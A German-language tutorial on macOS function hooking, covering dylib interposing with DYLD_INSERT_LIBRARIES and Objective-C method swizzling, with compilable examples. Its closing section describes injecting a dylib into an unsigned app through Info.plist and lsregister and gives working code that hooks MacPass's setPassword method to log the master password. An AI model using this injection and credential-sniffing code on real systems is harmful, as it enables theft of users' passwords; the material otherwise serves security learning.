macOS Function Hooking

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Funktionseinfügung

Erstellen Sie eine dylib mit einem __interpose (__DATA___interpose) Abschnitt (oder einem Abschnitt, der mit S_INTERPOSING gekennzeichnet ist), der Tupel von Funktionszeigern enthält, die auf die ursprünglichen und die Ersatz-Funktionen verweisen.

Dann injektieren Sie die dylib mit DYLD_INSERT_LIBRARIES (die Einfügung muss erfolgen, bevor die Hauptanwendung geladen wird). Offensichtlich gelten die Einschränkungen für die Verwendung von DYLD_INSERT_LIBRARIES auch hier.

printf einfügen

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Beachten Sie auch, dass Interposing zwischen dem Prozess und den geladenen Bibliotheken erfolgt, es funktioniert nicht mit dem Cache der gemeinsam genutzten Bibliotheken.

Dynamisches Interposing

Jetzt ist es auch möglich, eine Funktion dynamisch mit der Funktion dyld_dynamic_interpose zu interposieren. Dies ermöglicht es, eine Funktion zur Laufzeit programmgesteuert zu interposieren, anstatt dies nur zu Beginn zu tun.

Es muss lediglich die Tupel der zu ersetzenden Funktion und der Ersatzfunktion angegeben werden.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Method Swizzling

In ObjectiveC wird eine Methode so aufgerufen: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Es werden das Objekt, die Methode und die Parameter benötigt. Und wenn eine Methode aufgerufen wird, wird eine Nachricht gesendet mit der Funktion objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Das Objekt ist someObject, die Methode ist @selector(method1p1:p2:) und die Argumente sind value1, value2.

Folgend der Objektstrukturen ist es möglich, ein Array von Methoden zu erreichen, wo die Namen und Zeiger auf den Methodencode lokalisiert sind.

Zugriff auf die rohen Methoden

Es ist möglich, Informationen über die Methoden wie Name, Anzahl der Parameter oder Adresse zuzugreifen, wie im folgenden Beispiel:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Method Swizzling mit method_exchangeImplementations

Die Funktion method_exchangeImplementations ermöglicht es, die Adresse der Implementierung von einer Funktion für die andere zu ändern.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

Method Swizzling mit method_setImplementation

Das vorherige Format ist seltsam, da Sie die Implementierung von 2 Methoden gegeneinander ändern. Mit der Funktion method_setImplementation können Sie die Implementierung einer Methode für die andere ändern.

Denken Sie nur daran, die Adresse der Implementierung der ursprünglichen Methode zu speichern, wenn Sie sie aus der neuen Implementierung aufrufen möchten, bevor Sie sie überschreiben, da es später viel komplizierter sein wird, diese Adresse zu finden.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Hooking-Angriffsmethodik

In diesem Abschnitt wurden verschiedene Möglichkeiten zur Funktionshooking diskutiert. Sie beinhalteten jedoch das Ausführen von Code innerhalb des Prozesses, um anzugreifen.

Um dies zu tun, ist die einfachste Technik, die verwendet werden kann, das Injizieren eines Dyld über Umgebungsvariablen oder Hijacking. Ich nehme jedoch an, dass dies auch über Dylib-Prozessinjektion erfolgen könnte.

Beide Optionen sind jedoch begrenzt auf unprotected Binaries/Prozesse. Überprüfen Sie jede Technik, um mehr über die Einschränkungen zu erfahren.

Ein Funktionshooking-Angriff ist jedoch sehr spezifisch; ein Angreifer wird dies tun, um sensible Informationen aus einem Prozess zu stehlen (ansonsten würden Sie einfach einen Prozessinjektionsangriff durchführen). Und diese sensiblen Informationen könnten sich in von Benutzern heruntergeladenen Apps wie MacPass befinden.

Der Angreifer-Vektor wäre also, entweder eine Schwachstelle zu finden oder die Signatur der Anwendung zu entfernen, die DYLD_INSERT_LIBRARIES-Umgebungsvariable über die Info.plist der Anwendung einzufügen und etwas hinzuzufügen wie:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

und dann erneut registrieren Sie die Anwendung:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Fügen Sie in dieser Bibliothek den Hooking-Code hinzu, um die Informationen zu exfiltrieren: Passwörter, Nachrichten...

Bibliotheksbeispiel

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Referenzen

• https://nshipster.com/method-swizzling/